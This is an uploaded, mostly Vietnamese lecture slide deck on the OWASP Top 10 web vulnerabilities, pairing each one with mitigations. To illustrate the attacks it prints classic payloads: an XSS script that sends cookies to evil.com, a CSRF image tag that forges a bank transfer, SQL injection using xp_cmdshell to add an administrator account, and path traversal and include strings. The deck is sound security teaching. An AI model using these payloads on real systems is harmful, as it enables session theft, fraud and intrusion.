Uploaded by thanosbutnotdead

11 Websecurity

advertisement
Web Security
Threat
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
Information leakage and Improper Error
Handling
Insecure Direct Object Reference
Failure to Restrict URL Access
Injection Flaws
Malicious File Execution (remote file
inclusion)
Insecure Communications
Broken Authentication and Session
Management
Insecure Cryptographic Storage
Cross­Site Scripting (XSS)

Những đoạn script độc trả về từ 1 site đáng tin
cậy và trong ngữ cảnh tin cậy



Khai thác sự tin cậy của user với 1 site
Bắt nguồn từ phishing
2 loại chính:


Reflected (Non-persistent )
Stored (Persistent )
3
XSS Example I
HTML code:
4
XSS Example II
HTML code:
5
Cross Site Scripting ­ Reflected
Evil.org
1) Link to bank.com
sent to user via
E-mail or HTTP
5) Evil.org uses stolen
information to impersonate user
4) Script sends user’s
information without the user’s
consent or knowledge
User
2) User sends script embedded as data
3) Script/data returned, executed by browser
6
bank.com
XSS: Cross­Site Scripting
evil.com
E.g., URL embedded
in HTML email
victim’s
browser
naive.com
hello.cgi
Access some web page
<FRAME SRC=
http://naive.com/hello.cgi?
name=<script>win.open(
“http://evil.com/steal.cgi?
cookie=”+document.cookie)
</script>>
Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”
GET/ steal.cgi?cookie=
GET/ hello.cgi?name=
<script>win.open(“http://
evil.com/steal.cgi?cookie”+
document.cookie)</script>
hello.cgi
executed
<HTML>Hello, dear
<script>win.open(“http://
evil.com/steal.cgi?cookie=”
+document.cookie)</script>
Welcome!</HTML>
Interpreted as Javascript
by victim’s browser;
opens window and calls
steal.cgi on evil.com
slide 7
Khai thác XSS






Đánh cắp cookie nạn nhân
Track mọi hành động nạn nhân trên browser
Chuyển hướng đên Phishing site
Chỉnh sửa nội dung bất kỳ trang nào nạn nhân
duyệt
Khai thác lỗ hổng browser
…
8
Ngăn ngừa XSS

Escape all user input

Escaping chuyển đổi output thành các entities html
vô hại




<script> thành <script> những vấn hiển thị
<script>
Validate data
Sử dụng white list thay vì black list
…
Threat
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
Information leakage and Improper Error
Handling
Insecure Direct Object Reference
Failure to Restrict URL Access
Injection Flaws
Malicious File Execution (remote file
inclusion)
Insecure Communications
Broken Authentication and Session
Management
Insecure Cryptographic Storage
Cross Site Request Forgery (CSRF)
“CSRF
attack buộc browser nạn nhân đã logon gửi 1 pre-authenticated request tới 1
ứng dụng web, sau đó ép buộc browser
nạn nhân thực hiện 1 hành động có lợi cho
người tấn công”

Khai thác sự tin cậy site với 1 user
CSRF ví dụ

A muốn chuyển cho B 100k, request:
POST http://bank.com/transfer.do HTTP/1.1
...
Content-Length: 19;
acct=B&amount=100
C biết rằng thay vì generate 1 request như trên, có thể
dùng
GET http://bank.com/transfer.do?acct=B&amount=100
HTTP/1.1

C tìm cách dụ A chuyển 100000k cho mình, có thể
bằng cách gởi cho A email có chứa đoạn mã:
<img src="http://bank.com/transfer.do?
acct=C&amount=100000" width="1" height="1"
border="0“>

Solution
Thêm cơ chế authentication thứ 2
 Khắc phục các lỗi XSS
 Có trang confirm trước khi thực thi hành
động quan trọng nào đó
 Sử dụng POST và chỉ chấp nhận POST
request cho dữ liệu nhạy cảm


…
JavaScript hijacking (Web 2.0)

Khai thác:



Ajax engine phía client side giữa browser và
web server; thực hiện các hành động 1 cách tự
động
Web 2.0 applications có thể dùng JavaScript
(JSON) cho việc truyền tải dữ liệu
Javascript:

Được quyền override ANYTHING
14
Web 1.0 & Web 2.0
browser
browser
Javascript
HTML+CSS data
Ajax engine
HTTP
request
HTML +
CSS data
HTTP
request
XML data,
JSON
web server
web server
backend systems
backend systems
15
Ví dụ

The user visits an unfriendly site and executes the
following JavaScript:
function Object() {
this.id setter = function (x){ doBadStuff (x) }
}

The unfriendly site makes a request to a friendly
site



Suppose the request returns JSON


<*script src="http://mail.google.com/mail/?
_url_scrubbed_">
Similar to CSRF, if the user has authenticated, the cookies
are sent with the request
[{“id”:”123”,
“password”:”educause”,“salary”:”4000000”}]
The returned JSON gets executed; the overridden
setter hook gets called
16
Solution

Thay đổi luồng thực thi ở client


Chỉnh sửa JSON trong response

/*<JSON_HERE>*/ (Don’t do this)

while(true); <JSON_HERE> (Google)

throw new Error(""); <JSON_HERE> (DWR)

{}&& <JSON_HERE>
Prefix/comment được remove bởi application;

Dùng parseJSON() thay vì eval()

Dùng object notation {} thay cho array notation []
17
Threat
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
Information leakage and Improper Error
Handling
Insecure Direct Object Reference
Failure to Restrict URL Access
Injection Flaws
Malicious File Execution (remote file
inclusion)
Insecure Communications
Broken Authentication and Session
Management
Insecure Cryptographic Storage
Information Leakage and Improper
Error Handling
Application / Database Error Messages
 Misconfigured servers
 This information may be indexed by search
engines!

SQL Injection Example I
20
SQL Injection Example II
21
Forced Directory Browsing
Google Hacking
Popularized by johnny.ihackstuff.com
 Dùng google để tìm kiếm dữ liệu insecure
cũng như misconfigured/unpatched
servers indexed trên web

• Wikto (Sensepost) or SiteDigger
(Foundstone) - free tools used
along with ihackstuff’s Google
Hack Database
Google Hacking Demo
"admin account info" filetype:log
Solution



Không xuất ra các error message quá chi tiết
Có một “safe mode” khi có các lỗi xảy ra
Sử dụng robots.txt để ngăn các search engine
26
Threat
1.
2.
3.
4.
5.
6.
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
Information leakage and Improper Error
Handling
Insecure Direct Object Reference
Failure to Restrict URL Access
Injection Flaws
a)
SQL Injection, XPATH Injection, etc
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
7.
Insecure Direct Object Reference

“1 tham chiếu đối tượng trực tiếp xảy ra khi 1
developer đặt trong URL hoặc form paramater 1
tham chiếu tới 1 đối tượng: file, folder, database
recorde... Người tấn công có thể xử lý những tham
chiếu này để truy cập tới những đối tượng khác”

E.g. /BankAccount.jsp?acct_nmbr=123

The hacker chỉnh sửa parameter để xem các account của
các user khác
Solution

Validate data



Cookie data, URL parameters, all HTML Form data (thậm chí
hidden, select, radio and checkbox types)
Thực hiện ở cả client lẫn server
Sử dụng ánh xạ các tham chiếu gián tiếp (hash)

POST /BankAccount.jsp?acct_nmbr=d83OJdm3


…
Key: d83OJdm3 value: 123
Threat
Cross Site Scripting (XSS)
2.
Cross Site Request Forgery (CSRF)
3.
Information leakage and Improper Error
Handling
4.
Insecure Direct Object Reference
5.
Failure to Restrict URL Access
6.
Injection Flaws
7.
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
Application Security Vulnerabilities
1.
Failure to Restrict URL Access

Ứng dụng:


Bảo vệ bằng ngăn hiển thị link, URL
Các file xml tĩnh, report

Người tấn công: truy cập trực tiếp URL

Force Browser:

Guess link + brute force
Solution


Đảm bảo all URL và chức năng được bảo vệ
J2EE:


Sử dụng security-constraint và auth-constraint
(config trong web.xml)
Acegi Security - security framework
Path traversal




Hầu hết các tấn công path traversal cơ bản
đều dựa trên việc sử dụng 1 số chuỗi ký tự đặc
biệt
Ví dụ:
Gốc: http://example.com/show.jsp?
result=login.asp
Tấn công: http://example.com/show.jsp?
result=../etc/password
33
Threat
Cross Site Scripting (XSS)
2.
Cross Site Request Forgery (CSRF)
3.
Information leakage and Improper Error
Handling
4.
Insecure Direct Object Reference
5.
Failure to Restrict URL Access
6.
Injection Flaws
7.
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
Application Security Vulnerabilities
1.
Injection Flaws

Dữ liệu người dùng được gửi tới interpreter
như 1 phần của 1 command, query hoặc dữ
liêu.

Các loại tấn công:

SQL Injection
SSI Injection
XPath Injection
LDAP (Lightweight Directory Access Protocol) Injection
JSON (Javascript Object Notation) Injection

…




35
SQL Injection Example I
36
SQL Injection Example II
37
SQL Injection Example ­ Exploit
38
SQL Injection Example ­ Outcome
39
SQL Injection Attacks

Tạo Windows Account:


Add as 1 adminstrator:


SELECT * FROM users WHERE login = ‘’; exec
master..xp_cmdshell 'net users username
password /add';--’ and password= ’’
SELECT * FROM users WHERE login = ‘'; exec
master..xp_cmdshell 'net localgroup
Administrators username /add';--’ and
password= ‘’
…
Ngăn ngừa SQL injection

Dùng Prepared Statements
“select * from accounts where id = “ + id
vs
 “select * from accounts where id =?”


Validate input



Principle of least privileges


Strong typing
Business logic validation
Không run query as a user with update permissions (dbo,
drop, etc)
Escape
XPath Injection


Tương tự SQL injection
VD:
String FindUserXPath; FindUserXPath =
"//Users/user[username/text()='" + Request("Username")
+ "' And password/text()='" + Request("Password") +
"']";

Standard authentication query.
Username = user
Password = password
XPath query becomes: //users/user[username/text()=‘user’
and password/text()=‘password’]

Attack authentication query
Username = user’ or ‘1’ = ‘1
Password = password
XPath query becomes: //users/user[username/text()=‘user’
or ‘1’ = ‘1’ and password/text()=‘password’]
42
LDAP Injection

Server dùng LDAP để authentication

User name initialized, but then uses unchecked
user input to create a query
filter = "(uid=" + CStr(userName) + ")" ' để tìm
user
Người tấn công có thể khai thác bằng cách
dùng những ký tự đặc biệt
http://example/ldapsearch.asp?user=*

SSI Injection
Server sử dụng Server-Side Includes
 Người tấn công truyền vào input 1 SSI
embedded
<!--#INCLUDE VIRTUAL="/web.config"-->
 SSI sẽ inserts malicious code vào webpage
ở request tiếp theo

JSP Injection
Tương tự SSI injection
 Server sử dụng dynamic code for templates
 Người tấn công truyền vào <jsp:include
“http://bad.com/1.jsp” >
=> malicious code được đưa vào webpage

Threat
Cross Site Scripting (XSS)
2.
Cross Site Request Forgery (CSRF)
3.
Information leakage and Improper Error
Handling
4.
Insecure Direct Object Reference
5.
Failure to Restrict URL Access
6.
Injection Flaws
7.
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
Application Security Vulnerabilities
1.
Malicious File Execution
Remote code execution
 Upload backdoor
 Ví dụ: PHP is particularly vulnerable





Hacker visits 1 website cho phép uploads
Hacker uploads 1 malicious code
Hacker biết cấu trúc thư mục và send path như một parameter
‘filename’
PHP code được thực thi trên server
 include $_REQUEST[‘filename’];
Solution

Application:


Không sử dụng input trong bất kỳ filename cho serverbased resource (images, XML, XSL transform documents,
hoawjc script inclusions).
Không dùng parameter để thực thi trực tiếp 1 Server Side
Include

Ngăn web servers tạo connections mới tới external
web sites và internal systems.

Sử dụng ánh xạ tham chiếu đối tượng gián tiếp

…
Threat
Cross Site Scripting (XSS)
2.
Cross Site Request Forgery (CSRF)
3.
Information leakage and Improper Error
Handling
4.
Insecure Direct Object Reference
5.
Failure to Restrict URL Access
6.
Injection Flaws
7.
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
Application Security Vulnerabilities
1.
Insecure Communication
Thông tin nhạy cảm được gửi trên kênh
truyền không đợc mã hóa đều có thể bị
capture dễ dàng
 Sử dụng SSL để truyền các thông tin nhạy
cảm
 Encrypt authentication requests
 J2EE:


Thêm security constraint trong web.xml cho
các URL requires HTTPS
Threat
Cross Site Scripting (XSS)
2.
Cross Site Request Forgery (CSRF)
3.
Information leakage and Improper Error
Handling
4.
Insecure Direct Object Reference
5.
Failure to Restrict URL Access
6.
Injection Flaws
7.
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
Application Security Vulnerabilities
1.
Broken Authentication

Hack account




Client side authentication controls


Weak password
Remember password
Idle timeout
Validate chỉ ở phía client
Referer checks


Referer (là một HTTP header cho biết location trước đó của
browser) có thể bị thay đổi để vượt qua sự điều khiển của ứng
dụng.
Ví dụ trang login.jsp chỉ được gọi từ
http://www.example.com/index.jsp thì attacker có thể gán giá
trị referer=http://www.example.com/index.jsp để vào được
login.jsp.
Session hijacking

Session tokens
dựa trên URL,
hidden field,
cookie

Đánh cắp được
session ID =>
lấy được session
Session fixation
54
Session Attack

Session sidejacking: Người tấn công có thể
bắt các gói tin trao đổi giữa client và server
(trong đó bao gồm cả session token) và
chiếm đoạt session của nạn nhân

Session brute forcing: 1 số site sử dụng các
thuật toán yếu để tạo session id dẫn đến việc
dễ đoán, dễ reverse, không gian khóa nhỏ
55
Solution
Sử dụng các thuật toán mạnh để tạo các
session id (pseudo-random, number
generator, Yarrow, EGADS…)
 Set timeout idle session
 Khi user logout: xóa các session state,
cookie liên quan
…

Threat
Cross Site Scripting (XSS)
2.
Cross Site Request Forgery (CSRF)
3.
Information leakage and Improper Error
Handling
4.
Insecure Direct Object Reference
5.
Failure to Restrict URL Access
6.
Injection Flaws
7.
Malicious File Execution (remote file
inclusion)
8.
Insecure Communications
9.
Broken Authentication and Session
Management
10. Insecure Cryptographic Storage
From OWASP Top 10: The Ten Most Critical Web
Application Security Vulnerabilities
1.
Insecure Cryptographic Storage

From http://www.owasp.org/index.php/Top_10_2007 : “Web
applications rarely use cryptographic functions
properly to protect data and credentials. Attackers
use weakly protected data to conduct identity theft
and other crimes, such as credit card fraud.”

Sử dụng phương pháp mã hóa strong standard


Stop using Message-Digest Algorithm 5 (MD5), Secure Hash
Algorithm (SHA1), Data Encryption Standard (DES)
Use SHA-256, Advanced Encryption Standard (AES),
Rivest/Shamir/Adleman Public Key Encryption (RSA)
Web Application Security Principals
Defense in depth
Positive secure
model
Fail securely
Least privilege
Avoid security by
obscurity
Web
Security
Keep security
simple
Detect intrusions
Don’t trust
infrastructure


Don’t trust service
Establish secure
defaults
Depth in defense

Áp dụng nhiều cơ chế bảo vệ vào ứng dụng
IDS/IPS
Access Control
And Firewall
Application
Firewall
Web Server
Databases
Application
Server
The Internet
Backend
Server/System
Positive security model

Positive security model = Whitelist: định nghĩa
“cái được phép” và cấm các hành động khác
Whitelist
Blacklist
What is allowed
What is
disallowed
Deny others
Allow others
Fail securely

Exception handling,
error handling
Least privilege

Cấp cho người dùng tập quyền tối thiểu đủ để
hoàn thành công việc
read
User A
read
write
User B
Web application
Database
Avoid security by obscurity

Tính secure của hệ thống không nên dựa vào
việc che dấu các chi tiết bên trong
Keep security simple

Sử dụng những phương pháp đơn giản thay vì
phức tạp hóa các vấn đề
Establish secure defaults

Mặc định ban đầu của ứng dụng, chúng ta
luôn luôn để ở chế độ security. Và tùy thuộc
vào từng user, họ có thể giảm mức độ security
xuống cho phù hợp (nếu điều này là được
phép)
Minimize attack surface area

“If you do not use it, remove it or disable it.”
Mỗi đặc tính được thêm vào ứng dụng cũng
đồng nghĩa với việc làm tăng thêm khối lượng
rủi ro cho toàn bộ ứng dụng. Mục đích của
phát triển là phải giảm thiểu rủi ro tổng thể
này bằng cách hạn chế những khu vực có thể
bị tấn công
67
Fix security issues correctly

Khi một vấn đề về security được phát hiện,
chúng ta cần phải test nó kỹ lưỡng, tìm ra
nguyên nhân gây ra vấn đề. Tránh hấp tấp, vội
vàng
68
The end
69
Download